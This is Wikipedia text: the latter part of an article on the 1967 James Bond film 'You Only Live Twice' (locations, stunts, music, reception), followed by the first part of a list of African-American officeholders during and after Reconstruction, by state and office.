The village of Bonotsucho Akime was where Bond and his Ama wife lived and where the Ama scenes were shot.
The ryokan Shigetomi-so (now known as Shimazu Shigetomisoh Manor) was used as the exterior of Tanaka's house.
Kagoshima Prefecture was the location for various scenes depicting Little Nellie (see below).
Mount Shinmoe-dake in Kyūshū was used for the exteriors of SPECTRE's headquarters.
Most of the interiors were shot at Pinewood. The opening sequence in Hong Kong used some location footage of a street in Kowloon. Hong Kong's Victoria Harbour is also shown, but the at-sea burial of Bond and the retrieval of the corpse was filmed off Gibraltar and the Bahamas. The scenes with the light aircraft ferrying Bond to his supposed death were shot over very English-looking countryside in Buckinghamshire, whereas this was supposed to be Japan.
Large crowds were present in Japan to see the shooting. A Japanese fan began following Sean Connery with a camera, and police had to deal with fan incursions several times during shooting.
The heavily armed WA-116 autogyro "Little Nellie" was included after Ken Adam heard a radio interview with its inventor, RAF Wing Commander Ken Wallis. Little Nellie was named after music hall star Nellie Wallace, who has a similar surname to its inventor. Wallis piloted his invention, which was equipped with various mock-up armaments by John Stears' special effects team, during production.
"Nellie"'s battle with helicopters proved to be difficult to film. The scenes were initially shot in Miyazaki, first with takes of the gyrocopter, with more than 85 take-offs, five hours of flight and Wallis nearly crashing into the camera several times. A scene filming the helicopters from above created a major downdraft, and cameraman John Jordan's foot was severed by the craft's rotor. It was surgically reattached by surgeons visiting the country, and then amputated in London when the surgery was deemed to have been flawed. Jordan would continue work for the Bond series with a prosthetic foot. The concluding shots involved explosions, which the Japanese government did not allow in a national park; hence, the crew moved to Torremolinos, Spain, which was found to resemble the Japanese landscape. The shots of the volcano were filmed at Shinmoedake on Kyushu Island.
The sets of SPECTRE's volcano base, including operative heliport and monorail, were constructed at a lot inside Pinewood Studios, at a cost of $1 million. The tall set could be seen from away, and attracted many people from the region. Locations outside Japan included using the Royal Navy frigate , then in Gibraltar, for the sea burial, Hong Kong for the scene where Bond fakes his death, and Norway for the Soviet radar station.
Sean Connery's then-wife Diane Cilento performed the swimming scenes for at least five Japanese actresses, including Mie Hama. Martial arts expert Donn F. Draeger provided martial arts training, and also doubled for Connery. Lewis Gilbert's regular editor, Thelma Connell, was originally hired to edit the film. However, after her initial, almost three-hour cut received a terrible response from test audiences, Peter R. Hunt was asked to re-edit the film. Hunt's cut proved a much greater success, and he was awarded the director's chair on the next film as a result.
Music
The soundtrack was the fourth of the series to be composed by John Barry. He tried to incorporate the "elegance of the Oriental sound" with Japanese music-inspired tracks. The theme song, "You Only Live Twice", was composed by Barry and lyricist Leslie Bricusse, and sung by Nancy Sinatra after her father Frank Sinatra passed on the opportunity. Nancy Sinatra was reported to be very nervous while recording – first she wanted to leave the studio; then she claimed to sometimes "sound like Minnie Mouse". Barry declared that the final song uses 25 different takes.
There are two versions of the song "You Only Live Twice", sung by Nancy Sinatra, one directly from the movie soundtrack, and a second one for record release arranged by Billy Strange. The movie soundtrack song is widely recognised for its striking opening bars and oriental flavour, and was far more popular on radio. The record release reached No. 44 on the Billboard charts in the US, and No. 11 in the UK. Both versions of the title song are available on CD.
A different title song was originally recorded by Julie Rogers, but eventually discarded. Only two lines from that version were kept in the final lyrics, and the orchestral part was changed to fit Sinatra's vocal range. Rogers' version only appeared in a James Bond 30th Anniversary CD, with no singer credit. In the 1990s, an alternative example of a possible theme song (also called "You Only Live Twice" and sung by Lorraine Chandler) was discovered in the vaults of RCA Records. It became a very popular track with followers of the Northern soul scene (Chandler was well known for her high-quality soul output on RCA) and can be found on several RCA soul compilations.
Promotion
To promote the film, United Artists Television produced a one-hour colour television programme titled Welcome to Japan, Mr. Bond, which first aired on 2 June 1967 in the United States on NBC. Bond regulars Lois Maxwell and Desmond Llewelyn appeared, playing respectively Miss Moneypenny and Q. Kate O'Mara appears as Miss Moneypenny's assistant. The programme shows clips from You Only Live Twice and the then four existing Bond films, and contained a storyline of Moneypenny trying to establish the identity of Bond's bride.
Release and reception
You Only Live Twice premiered at the Odeon Leicester Square in London on 12 June 1967, with Queen Elizabeth II in attendance. The film opened the following day in the United Kingdom and United States, set an opening day record at the Odeon Leicester Square, and went to number one in the United States with a weekend gross of $600,000. It grossed $7 million from 161 theaters in the United States in its first three weeks, and was number one for seven weeks. The film grossed $43 million in the United States and over $68 million worldwide.
Contemporary reviews
Roger Ebert of the Chicago Sun-Times awarded the film two-and-a-half stars out of four, in which he criticised the focus on gadgets, declaring "the formula fails to work its magic. Like its predecessor Thunderball, another below-par entry, this one is top-heavy with gadgets but weak on plotting and getting everything to work at the same time." Bosley Crowther, reviewing for The New York Times, felt "there's enough of the bright and bland bravado of the popular British super-sleuth mixed into this melee of rocket-launching to make it a bag of good Bond fun. And there's so much of that scientific clatter – so much warring of super-capsules out in space and fussing with electronic gadgets in a great secret underground launching pad – that this way out adventure picture should be the joy and delight of the youngsters and give pleasure to the reasonable adults who can find release in the majestically absurd." Charles Champlin of the Los Angeles Times wrote the film was "a fast, funny, no-holds-barred piece of outrageous nonsense."
Variety stated more positively: "As entertainment [You Only Live Twice] compares favorably in quality and is replete with as many fights, gadgets, and beauties as its predecessors". Time magazine was sharply critical of the film, claiming the franchise had become "the victim of the same misfortune that once befell Frankenstein: there have been so many flamboyant imitations that the original looks like a copy." The review later derided that "the effects are ineffective. The outer-space sequences would be more appropriate in a grade school educational short entitled Our Amazing Universe, and the volcanic climax is a series of clumsy process shots that no one took the trouble to fix. Even Connery seems uncomfortable and fatigued..." Clifford Terry of the Chicago Tribune remarked that "a large percentage of You Only Live Twice is disappointing, lacking the wit and zip, the pacing and punch, of its predecessors, especially the first three. Roald Dahl's script is larded with sex-slanted jokes that are either pathetically feeble or sophomorically coarse, Bond's patented puns are punier and even Connery's enthusiasm for his shrewd, suave, and sensual character seems to have waned."
Retrospective reviews
On the review aggregation website Rotten Tomatoes, the film holds an approval rating of 73% based on 49 reviews with an average rating of 6.53/10. The website's critical consensus reads, "With exotic locales, impressive special effects, and a worthy central villain, You Only Live Twice overcomes a messy and implausible story to deliver another memorable early Bond flick." James Berardinelli of ReelViews said that the first half was good, but "It's only during the second half, as the plot escalates beyond the bounds of preposterousness, that the film starts to fragment", criticising Blofeld's appearance and stating "rockets that swallow up spacecraft are a bit too extravagant." Ali Barclay of BBC Films lightly criticized Dahl's script, writing that Dahl had "clearly helped thrust Bond into a whole new world of villainy and technology, maybe his concepts were slightly ahead of themselves, or maybe he just tried too hard." Leo Goldsmith lauded the volcano base as "the most impressive of Ken Adam's sets for the franchise." Danny Peary wrote that You Only Live Twice "should have been about twenty minutes shorter" and described it as "not a bad Bond film, but it doesn't compare to its predecessors – the formula had become a little stale."
Jim Smith and Stephen Lavington, in their 2002 retrospective, Bond Films, judged Ken Adams’s production design “astonishing.” They conclude: “You Only Live Twice is a loving tribute to the idea that nothing succeeds like excess. […] It’s more Fleming pastiche than actual Fleming, with elements of previous Eon Bond films sprinkled through a mechanical (yet inspired) screenplay. […] This is pop art, delivered with punch and panache.”
IGN ranked You Only Live Twice as the fourth-best Bond film, and Entertainment Weekly as the second-best, considering that it "pushes the series to the outer edge of coolness". However, Norman Wilner of MSN chose it as the fifth-worst, criticising the plot, action scenes and lack of screentime for Blofeld. Literary critic Paul Simpson called the film one of the most colourful of the series and credited the prefecture of Kagoshima for adding "a good flavour" of Japanese influence on the film, but he panned the depiction of Blofeld as a "let-down", "small, bald and a whooping scar". Simon Winder said that the film is "perfect" for parodies of the series. John Brosnan, in his book James Bond in the Cinema, compared the film to an episode of Thunderbirds with a reliance on gadgetry, but admitted it had pace and spectacle. Christopher Null considered the film to be one of James Bond's most memorable adventures, but the plot "protracting and quite confusing".
The film is recognised by the American Film Institute in these lists:
2003: AFI's 100 Years...100 Heroes & Villains:
Ernst Stavro Blofeld – Nominated Villain
See also
Outline of James Bond
References
External links
MGM's site on the movie
1960s action films
1960s spy films
1960s thriller films
1967 films
British sequel films
British spy thriller films
Cold War spy films
1960s English-language films
Films about terrorism in Europe
Films directed by Lewis Gilbert
Films produced by Harry Saltzman
Films produced by Albert R. Broccoli
Films scored by John Barry (composer)
Films set in Hong Kong
Films set in Japan
Films set on islands
Films shot at Pinewood Studios
Films shot in England
Films shot in Gibraltar
Films shot in Spain
Films shot in Tokyo
Films shot in the Bahamas
Films shot in Virginia
Films shot in Hong Kong
James Bond films
Ninja films
Films with screenplays by Roald Dahl
United Artists films
Eon Productions films
Films with screenplays by Harold Jack Bloom
Japan in non-Japanese culture
1960s British films
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https://en.wikipedia.org/wiki/African-American%20officeholders%20during%20and%20following%20the%20Reconstruction%20era
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African-American officeholders during and following the Reconstruction era
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More than 1,500 African American officeholders served during the Reconstruction era (1865–1877) and in the years after Reconstruction before white supremacy, disenfranchisement, and the Democratic Party fully reasserted control in Southern states. Historian Canter Brown Jr. noted that in some states, such as Florida, the highest number of African Americans were elected or appointed to offices after the end of Reconstruction in 1877. The following is a partial list of notable African American officeholders from the end of the Civil War until before 1900. Dates listed are the year that a term states or the range of years served if multiple terms.
U.S. Senate
Blanche Bruce – Mississippi 1875–1881
P. B. S. Pinchback – Louisiana 1873, elected but the Senate refused to seat him (also Louisiana Lt. Governor, Louisiana Senate, acting Louisiana Governor, Louisiana Constitutional Convention)
Hiram Rhodes Revels – Mississippi 1870 (also Mississippi Secretary of State)
U.S. House of Representatives
Richard H. Cain – South Carolina 1873–1975, 1877–1879 (also South Carolina Senate, House, Constitutional Congress)
Henry P. Cheatham – North Carolina 1889–1894
Robert C. De Large – South Carolina 1871–1873 (also South Carolina House, South Carolina Constitutional Convention, and State Land Commissioner)
Robert B. Elliott – South Carolina 1871–1874 (also South Carolina House, South Carolina Attorney General, South Carolina Constitutional Convention, South Carolina Senate, city council)
Jeremiah Haralson – Alabama 1875–1877 (also Alabama Senate and Alabama House)
John Adams Hyman – North Carolina 1875–1877 (also North Carolina Senate and North Carolina Constitutional Convention)
John Mercer Langston – Virginia 1890–1891 (also U.S. Minister to Haiti)
Jefferson F. Long – Georgia 1871
John R. Lynch – Mississippi 1873–1877, 1882–1883 (also speaker of the Mississippi House)
John Willis Menard – Louisiana, 1868 elected but not seated
Thomas E. Miller – South Carolina September 24, 1890 – March 3, 1891 (also South Carolina Senate, South Carolina House, and South Carolina Constitutional Convention)
George W. Murray – South Carolina 1893–1897
Charles E. Nash – Louisiana 1875 –1877
James E. O'Hara – North Carolina 1883–1887 (also North Carolina House)
Samuel Peters – Louisiana, 1872 elected but died before being seated
Joseph H. Rainey – South Carolina 1870–1879 (also South Carolina Senate and South Carolina Constitutional Convention)
Alonzo J. Ransier – South Carolina 1873–1875 (also South Carolina Lt. Governor and Constitutional Convention)
James T. Rapier – Alabama 1873–1875 (also Alabama Constitutional Convention)
Robert Smalls – South Carolina 1875–1879, 1882–1887 (also South Carolina Senate, South Carolina House, and Constitutional Convention)
Benjamin Sterling Turner – Alabama 1871–1873
Josiah T. Walls – Florida 1871–1876 (also Florida House, Florida Senate, and Florida Constitutional Convention)
George Henry White – North Carolina 1897–1901 (also North Carolina House and North Carolina Senate)
Alabama
Between 1868 and 1878, more than 100 African Americans served in the Alabama Legislature.
Alabama Senate
Alexander H. Curtis – Perry County 1872–1876 (also Alabama House and Alabama Constitutional Convention)
D. J. Daniels – Russell County 1872
James K. Greene – Hale County 1874–1876 (also Alabama House)
Jeremiah Haralson – Dallas County 1872–1876 (also Alabama House and U.S. Congress)
John W. Jones – Lowndes County 1872–1876
Lloyd Leftwich – Greene County 1872–1876
Benjamin F. Royal – Bullock County 1868–1876
Alabama House of Representatives
Benjamin F. Alexander – Greene County 1868 (also Alabama Constitutional Convention)
G. W. Allen – Bullock County 1874
James H. Alston – Macon County 1868–1879
Matt Avery – Perry County 1867
Elijah Baldwin – Wilcox County 1874–1878
Granville G. Bennett – Sumter County 1874
Samuel Blandon – Lee County 1868
William H. Blevins – Dallas County 1874–1878
James Bliss – Sumter County 1874
Matthew Boyd – Perry County 1874
George W. Braxdell – Talladega County 1870
Nathan A. Brewington – Lowndes County 1868
Richard Burke – Sumter County 1868
John Carraway – Mobile County 1868 (Speaker of the House)
Hugh A. Carson – Lowndes County 1876–1880 (also Alabama Constitutional Convention)
William E. Carson – Lowndes County 1872
Hershel V. Cashin – Montgomery County 1874–1878
Thomas Clark – Barbour County 1870
Thomas J. Clarke – Barbour County 1872
Henry A. Cochran – Dallas County 1870, 1872
Elijah Cook – Montgomery County 1874
George Cox – Montgomery County 1868
Henry H. Craig – Montgomery County 1870
Alexander H. Curtis – Perry County 1870 (also Alabama Senate and Alabama Constitutional Convention)
D. J. Daniels – Russell County 1874
Thomas Diggs – Barbour County 1868–1872 (also Alabama Constitutional Convention)
Mentor Dotson – Sumter County 1872
John Dozier – Perry County 1870–1874
Joseph Drawn – Dallas County 1868
Hales Ellsworth – Montgomery County 1872
George English – Wilcox County 1878
Charles Fagan – Montgomery County 1874
Samuel Fantroy – Barbour County 1872
Adam Gachet – Barbour County 1874
Prince Gardner – Russell County 1874
William Gaskin – Lowndes County 1870–1876
Edward Gee – Dallas County 1870
Captain Gilmer – Montgomery County 1876
Joseph H. Goldsby – Dallas County 1872
James K. Greene – Hale County 1868–1874 (also Alabama Senate)
Ovide Gregory – Mobile County 1868 (also Alabama Constitutional Convention)
Jeremiah Haralson – Dallas County 1870 (also Alabama Senate and U.S. Congress)
Charles E. Harris – Dallas County 1874
Charles O. Harris – Montgomery County 1876
D. H. Hill – Bullock County 1868
George Houston – Sumter County 1868
Benjamin Inge – Sumter County 1868
A. W. Johnson – Macon County 1874
R. L. Johnson – Dallas County 1870–1874
Green T. Johnston – Dallas County 1876
Columbus Jones – Madison County 1868 (also Alabama Constitutional Convention)
Reuben Jones – Madison County 1872
Shandy W. Jones – Tuscaloosa County 1868
Horace King – Russell County 1868–1872
David Law – Barbour County 1868
Samuel Lee – Lowndes County 1874
Thomas Lee – Perry County 1868
Greene S. W. Lewis – Perry County 1868, 1872–1878 (also Alabama Constitutional Convention)
Edwin C. Locke – Wilcox County 1874
Jacob Martin – Dallas County 1874
Perry Matthews – Bullock County 1872–1876
January Maull – Lowndes County 1872
Jefferson McCalley – Madison County 1868
Willis Merriweather – Wilcox County 1872–1876
G. R. Miller – Russell County 1872
Edward Odum – Barbour County 1874
George Patterson – Macon County 1872–1876
Samuel J. Patterson – Autauga County 1872
Robert Reed – Sumter County 1872–1876
Bristo W. Reese – Hale County 1872–1876
H. W. W. Rice – Talladega County 1868
A. G. Richardson – Wilcox County 1868
Henry St. Clair – Macon County 1870–1874
James Shaw – Mobile County 1868
Charles Smith – Bullock County 1874
Nimrod Snoddy – Greene County 1876
Lawrence S. Speed – Bullock County 1868–1874
Lawson Steele – Montgomery County 1872
William J. Stevens – Dallas County 1876
W. L. Taylor – Chambers County 1868
William Taylor – Sumter County 1872
Holland Thompson – Montgomery County 1868–1972
Frank H. Threatt – Marengo County
J. R. Treadwell – Russell County 1872
William V. Turner – Elmore County 1868
Mansfield Tyler – Lowndes County 1870
Thomas H. Walker – Dallas County 1872
Spencer Weaver – Dallas County 1868
Levi Wells – Marengo County 1870
A. E. Williams – Barbour County 1872–1876
L. J. Williams – Montgomery County 1868–1874
J. R. Witherspoon – Perry County 1874
Manly Wynne – Hale County 1874
Henry Young – Lowndes County 1868
Alabama Constitutional Convention
Benjamin F. Alexander – Greene County 1867 (also Alabama House)
Moses B. Avery – Montgomery County 1867
Samuel Blanden – Lee County 1867
John Carroway – Mobile County 1867
Hugh A. Carson – Lowndes County 1875 (also Alabama House)
Alexander H. Curtis – Perry County 1875 (also Alabama House and Alabama Senate)
Thomas Diggs – Barbour County 1867 (also Alabama House)
Peyton Finley – Montgomery County 1867
J. K. Greene – Hale County 1867
Ovid Gregory – Mobile County 1867 (also Alabama House)
Jack Hatcher – Dallas County 1867
Benjamin Inge – Sumter County 1867
Washington Johnson – Russell County 1867
Columbus Jones – Madison County 1867 (also Alabama House)
L. S. Latham – Bullock County 1867
Thomas Lee – Perry County 1867
Greene S. W. Lewis – Perry County 1875 (also Alabama House)
B. F. Royal – Bullock County 1867
Henry Stokes – Dallas County 1867
Other state offices
William Hooper Councill – assistant engrossing clerk in the Alabama Legislature 1872, 1874
Phillip Joseph – engrossing clerk in the Alabama Legislature 1872
Federal offices
Granville Bennett – postmaster of Catherine September 1, 1890 – January 15, 1891
John P. Billingsley – postmaster of Marion March 25, 1874 – July 18, 1882
Charles W. Childs – postmaster of Marion February 12, 1890 – October 28, 1893
James F. Childs – postmaster of Marion July 18, 1882 – December 5, 1885
Anthony R. Davison – postmaster of Lovan August 1, 1889 – October 28, 1891; March 28, 1890 – April 17, 1893
John W. Davison – postmaster of Lovan March 25, 1890 – October 28, 1891
Howell L. Goins – postmaster of Northport November 25, 1889 – March 17, 1890
Rufus L. Gomez – postmaster of Luverne March 28, 1889 – October 5, 1889
Jordan Hatcher – postmaster of Cahaba September 7, 1869 – September 26, 1882
John W. Jones – postmaster of Hayneville June 6, 1882 – October 17, 1887
Local offices
S. L. David – mayor of Hobson City 1899
Arkansas
Between 1868 and 1893, 85 men noted as "colored" or "mulatto" were elected to the Arkansas legislature. Initially, they served under the 1868 Arkansas Constitution that granted them the right to vote and hold office. The Democrats retook control of state government and instituted the 1874 Constitution. As a result, after 1893, the next African American to serve as an Arkansas state legislator was in 1973.
Arkansas Senate
George W. Bell – Desha and Chicot counties 1891, 1893
Richard A. Dawson – Jefferson County 1873, 1874 (also Arkansas House)
William Henry Grey – Phillips County 1875 (also Arkansas House, Arkansas Constitutional Convention, and Arkansas Commissioner of Immigration and State Lands)
Samuel H. Holland – Ashley, Chicot, Drew, and Desha counties 1873, 1874
W. H. Logan – Chicot and Desha counites 1887, 1889
James W. Mason – Ashley, Chicot, Drew, Desha and counties 1868, 1871 (also Arkansas Constitutional Convention, postmaster, and judge)
Anthony Stanford – Lee and Phillips counties 1877, 1879
James T. White – Phillips and Monroe counties 1871 (also Arkansas House Arkansas Constitutional Convention)
Ruben B. White – Pulaski and White counties 1873, 1874
John Willis Williams – Phillips County 1874
Arkansas House of Representatives
Benjamin Frank Adair – Pulaski County 1891
James M. Alexander – Phillips County 1871 (also justice of the peace)
Isaac George Bailey – Desha County 1885
Conway Barbour – Lafayette County 1871
Austin Barrow – Phillips County 1871
Peter H. Booth – Jefferson County 1893
Levi B. Boston – Jefferson County 1874
Joseph H. Bradford – Mississippi County 1885
Joseph B. Brooks – Lafayette County 1885
Cornelius "Neal" Brown – Pulaski County 1873
Crockett Brown – Lee County 1877
Hal B. Burton – Jefferson County 1887
John H. Carr – Phillips County 1889–1894
Barry Coleman – Phillips County 1874 and 1877
William L. Copeland – Crittenden County 1873–1875
Lawrence Crute – Chicot County 1873
Richard A. Dawson – Jefferson County 1879 (also Arkansas Senate)
Sebron Williams Dawson – Jefferson County 1889–1892
Jacob N. Donohoo – Phillips County 1877, 1887–1892
Anderson Ebberson – Jefferson County 1877, 1881
Nathan E. Edwards – Chicot County 1893
Edward Allen Fulton – Drew County 1871 (also postmaster)
William Hines Furbush – Phillips County 1873, Lee County 1879
Isaac Gillam – Pulaski County 1879
Ed Glover – Jefferson County 1885
William E. Gray – Pulaski County 1881
William Henry Grey – Phillips County 1868 (also Arkansas Senate, Arkansas Constitutional Convention, and Arkansas Commissioner of Immigration and State Lands)
Toney Grissom – Phillips County 1873–1875
Jeff Haskins – St. Francis County 1871
Ferdinand "Ferd" Havis – Jefferson County 1873
Monroe E. Hawkins – Lafayette County 1868, 1873, 1874 (also Arkansas Constitutional Convention)
Ned Hill – Jefferson County 1874
Daniel Hunt – Hempstead County 1868
William B. Jacko – Jefferson County 1885, 1887
Ed Jefferson – Jefferson County 1887, 1889
Adam R. Johnson – Crittenden County 1871
Henry Augustus Johnson – Chicot County 1891
John H. Johnson – Woodruff County 1873
Green Hill Jones – Chicot County 1885, 1889
Thomas R. Kersh – Lincoln County 1885, 1887
Daniel W. Lewis – Crittenden County 1883
George W. Lowe – Monroe County 1889–1892
John G. Lucas – Jefferson County 1891
William A. Marshall – Hempstead County 1873
L. J. Maxwell – Jefferson County 1874–1875
Americus Mayo – Monroe County 1871
Charles Howard McKay – Jefferson County 1893
Abraham H. Miller – Phillips County 1874
William Murphy – Jefferson County 1873, 1877 (also Arkansas Constitutional Convention)
Marshall M. Murray – Lafayette County 1883
Hugh C. Newsome – Chicot County 1887
Sandy Shepard Odum – Crittenden County 1887
William C. Payne – Jefferson County 1879, 1881
Burns Polk – Lee County 1873
Carl R. Polk – Jefferson County 1871, 1881 (also a justice of the peace)
Patrick T. Price – Lee County 1877
James A. Robinson – Ashley, Chicot, Drew, Desha counties 1871, 1874
Henry H. Robinson – Phillips County 1873
John C. Rollins – Ashley, Chicot, Drew, Desha counties 1873
Anderson Louis Rush – Pulaski County 1868–1869
Granville Ryles – Pulaski County 1883
Richard R. Samuels – Hempstead County 1868, 1869 (also Arkansas Constitutional Convention)
Francis H. Sawyer – Lincoln County 1877
Samuel H. Scott – Jefferson County 1885
Archie Shepperson – Hempstead County 1873
Rusty Sherrill – Jefferson County 1883
George H. W. Stewart – Phillips County 1873
Green W. Thompson – Pulaski County 1889
George E. Trower – Conway County 1887
G. W. Watson – Crittenden County 1891
Blackstone Waterhouse – Jefferson County, Arkansas 1883
John W. Webb – Ashley, Chicot, Drew, Desha counties 1871
Reuben C. Weddington – Chicot County 1891
Francis "Frank" W. White – Pulaski County 1883
James T. White – Phillips and Monroe counties 1868–1870 (also Arkansas Senate and Arkansas Constitutional Convention)
Henry W./N. Williams – Lincoln County 1889, 1891
John Willis Williams – Phillips County 1873 (also Arkansas Senate)
James Wofford – Crittenden County 1877
S. L. Woolfolk – Jefferson County 1891
William H. Young – Jefferson County 1871, 1883
Arkansas Constitutional Convention
William Henry Grey – Phillips County 1868 (also Arkansas Senate, Arkansas House, and Arkansas Commissioner of Immigration and State Lands)
Monroe E. Hawkins – Lafayette County 1868 (also Arkansas House)
Thomas P. Johnson – Little Rock 1868
James W. Mason – Chicot County 1868 (also Arkansas Senate, postmaster, and judge)
William Murphy – Jefferson County 1868 (also Arkansas House)
W. Henry Rector – Little Rock 1868
Richard R. Samuels – Washington County 1868 (also Arkansas House)
James T. White – Phillips County 1868 and 1874 (also Arkansas House, Arkansas Senate, and Arkansas Commissioner of Public Works)
Other state offices
Joseph Carter Corbin – Arkansas Superintendent of public schools 1873–1875
William Henry Grey – Arkansas Commissioner of Immigration and State Lands (also Arkansas House, Arkansas Senate, and Arkansas Constitutional Convention)
James T. White – Arkansas Commissioner of Public Works (also Arkansas House, Arkansas Senate, and Arkansas Constitutional Convention)
Federal offices
Elisha Davis – postmaster of Sweet Home November 8, 1881 – May 24, 1893
Edward Allen Fulton – postmaster of Monticello March 1, 1871 – March 29, 1874; May 29, 1871 – December 17, 1875 (also Arkansas House)
Mifflin Wistar Gibbs – American consul to Madagascar 1897 (also judge)
William H. Lacy – postmaster of Harwood Island February 16, 1885 – August 2, 1893
James W. Mason – postmaster of Sunny Side February 2, 1867 – April 11, 1871 (also Arkansas Senate, probate judge, and sheriff)
James A. Roper – postmaster of Surrounded Hill May 9, 1889 – June 22, 1893
William A. Sloan – postmaster of Ripley July 16, 1891 – April 14, 1894
Local offices
Mifflin Wistar Gibbs – Little Rock judge 1873 (also consul)
James W. Mason – probate judge, Chicot County sheriff 1872–1874 (also Arkansas Senate and postmaster)
Carl R. Polk – Jefferson County justice of the peace (also Arkansas House)
California
Local offices
Edward P. Duplex – mayor of Wheatland 1888
Colorado
Colorado House of Representatives
John T. Gunnell – Arapahoe County 1881
Joseph H. Stuart – Arapahoe County 1895
Other state offices
Henry O. Wagoner – clerk in the Colorado Legislature 1876
Florida
Florida Senate
William Bradwell – Duval County 1868
Henry Wilkins Chandler – Marion County 1880–1888
Oliver J. Coleman – 10th District 1874 (also Florida House and county commissioner)
Harry Cruse – 6th District 1869, 1870 (also Florida House)
T. V. Gibbs – Duval County 1881
Frederick Hill – Gadsden County 1871 (also Florida House, Florida Constitutional Convention, and postmaster)
Joseph E. Lee – 18th District/Duval County 1881 (also Florida House and postmaster)
Thomas Warren Long – Marion County 1873–1879
Daniel C. Martin – Alachua County 1885, 1887
Robert Meacham – 9th District 1868–1877, 1879 (also Florida Constitutional Convention, clerk of the circuit court, superintendent of common schools, and postmaster)
Alfred Brown Osgood – 10th District 1875, 1876 (also Florida House)
Charles H. Pearce – Leon County 1870–1874 (also Florida Constitutional Convention)
Washington Pope – 3rd District 1873–1876 (also county commissioner)
John E. Proctor – Leon County 1883 (also Florida House)
Egbert Sammis – Duval County 1885 (also consul in Stuttgart)
Samuel Spearing – Duval County 1874
John Wallace – Leon County 1874–1879 (also Florida House and county constable)
Josiah T. Walls – Alachua and Levy counties 1869–1871, 1877–1881 (also U.S. Congress, Florida House, and Florida Constitutional Convention)
Florida House of Representatives
Edward I. Alexander – Madison County 1877, 1879, 1885 (also postmaster)
Samuel Anderson – Duval County 1887
Josiah Haynes Armstrong – Columbia County 1871, 1875
Henry Black – Jefferson County
Richard Horatio Black – Alachua County 1869, 1870
Killis B. Bonner – Marion County 1879
William Bradwell – Duval County 1868–1870
Richard Lewis Brown Sr. – Duval County 1881, 1883
James D. Bryant – Monroe County
Wallace B. Carr – Leon County 1881, 1887 (also Florida Constitutional Convention)
Phillip Carroll – Leon County 1881
Joseph Newman Clinton – Alachua County 1881–1883
George C. Coleman – Nassau County 1881
Oliver J. Coleman – Madison County 1871, 1872, 1875 (also Florida Senate and county commissioner)
Singleton Coleman – Marion County 1873
Robert Cox – Leon County 1868–1870
Harry Cruse – Gadsden County 1871–1874, 1877 (also Florida Senate)
Robert H. Dennis – Jackson County 1875
Zebulon Elijah – Escambia County 1871–1873 (also postmaster)
Auburn H. Erwin – Columbia County 1868–1870 (also Florida Constitutional Convention)
Lucien Fisher – Leon County 1875
John Ford – Leon County
Emanuel Fortune – Jackson County 1868–1870 (also Florida Constitutional Convention)
Samuel W. Frazier – Leon County 1879, 1885, 1887 (also a justice of the peace)
Robert Gabriel – Monroe County 1879
Theodore Gass – Alachua County 1871–1875
Thomas Van Renssalaer Gibbs – Duval County 1884
Birch Gibson – Marion County 1872
Noah Graham – Leon County 1868–1872
Alfred Grant – Duval County 1875, 1877
Henry Harmon – Alachua County 1868–1870
Frederick Hill – Gadsden County 1868–1870 (also Florida Senate, Florida Constitutional Convention, and postmaster)
David E. Jacobs – Marion County 1887
Scipio Jasper – Marion County 1872
Andrew Jackson Junius – Jefferson County 1879
Isaac Jenkins – Leon County 1880–1883
Andrew Jackson Junius – Jefferson County 1879
Joseph E. Lee – Duval County 1875, 1877, 1879 (also Florida Senate and postmaster)
Matthew M. Lewey – Alachua County 1883 (postmaster and mayor)
George A. Lewis – Jacksonville County 1889
Robert Livingston – Leon County 1868–1869
Alfred Brown Osgood – Madison County 1868–1874,1879, 1883, 1885 (also Florida Senate)
Samuel Petty – Nassau County 1873 (also Florida Constitutional Convention)
Salvador T. Pons
George Willis Proctor – Jefferson County 1883
John E. Proctor – Leon County 1873–1875, 1879–1881 (also Florida Senate)
I. E. Purcell – Putnam County
Jesse Robinson – Jackson County 1868–1874
Riley Edward Robinson – Nassau County 1883, 1885 (also postmaster)
William K. Robinson – Jackson County 1872
Charles Rouse
William U. Saunders – Gadsden County (also Florida Constitutional Convention)
John R. Scott Sr. – Duval County 1868–1873
John R. Scott Jr. – Duval County 1889–1891
Charles Shavers – Monroe County 1887
John Simpson – Marion County 1868–1870
Samuel Small – Marion County 1874
William G. Stewart – Leon County 1873
John N. Stokes – Leon County 1874
Benjamin Thompson – Jefferson County 1868–1870
Charles H. Thompson – Columbia County 1868–1870
William F. Thompson – Leon County 1877 (also Florida Constitutional Convention).
Thomas Urquhart – Hamilton County and Suwannee County 1868 (also Florida Constitutional Convention)
John Wallace – Leon County 1870, 1872 (also Florida Senate and constable)
Josiah T. Walls – Alachua County 1868 (also U.S. Congress, Florida Senate, and Florida Constitutional Convention)
George Washington – Alachua County 1874–1876
Randolph W. Washington – Jefferson County 1885
Richard H. Wells – Leon County 1868–1872 (also Florida Constitutional Convention)
George Walter Wetmore – Duval County 1883, 1885
Wesley Asbury Wilkinson – Marion County 1881, 1883, 1885
George Washington Witherspoon – Jefferson County 1875
John W. Wyatt – Leon County 1870–1874
Florida Constitutional Convention
Wallace B. Carr – Leon County 1885 (also Florida House)
Auburn H. Erwin – Columbia and Baker counties 1868 (also Florida House)
Emanuel Fortune – Jackson County 1868 (also Florida House)
Jonathan Clarkson Gibbs – Duval County 1868 (also Florida Secretary of State and Florida Secretary of Public Instruction)
Frederick Hill – Gadsden County 1868 (also Florida Senate, Florida House, and postmaster)
Major Johnson – 1868
Robert Meacham – Jefferson County 1868 (also Florida Senate, clerk of the circuit court, superintendent of common schools, and postmaster)
Anthony Mills – Jefferson County 1868 (also Florida House)
Charles H. Pearce – Leon and Wakulla counties 1868 (also Florida Senate)
Samuel Petty – Nassau County 1885 (also Florida House)
William U. Saunders – Gadsden County 1868 (also Florida House)
Thomas Urquhart – Hamilton County and Suwannee County 1868 (also Florida House)
Josiah T. Walls – Alachua County 1868 (also U.S. Congress, Florida Senate, Florida House)
Richard H. Wells – Leon and Wakulla counties, 1868 – February 20, 1868 (also Florida House)
John W. Wyatt – Leon County 1868
Other state offices
Jonathan Clarkson Gibbs – Florida Secretary of State 1868–1872 and Florida Secretary of Public Instruction (also Florida Constitutional Convention)
Federal offices
Edward I. Alexander – postmaster of Madison County (also Florida House)
Joseph E. Clark – postmaster of Eatonville May 25, 1889 – September 7, 1907
Zebulon Elijah – postmaster of Pensacola January 30, 1874 – February 14, 1878 (also Florida House)
Thomas S. Harris– postmaster of Live Oak September 17, 1898 – March 2, 1905
Fannie A. James – postmaster of Jewell (now Lake Worth) August 22, 1889 – April 15, 1903
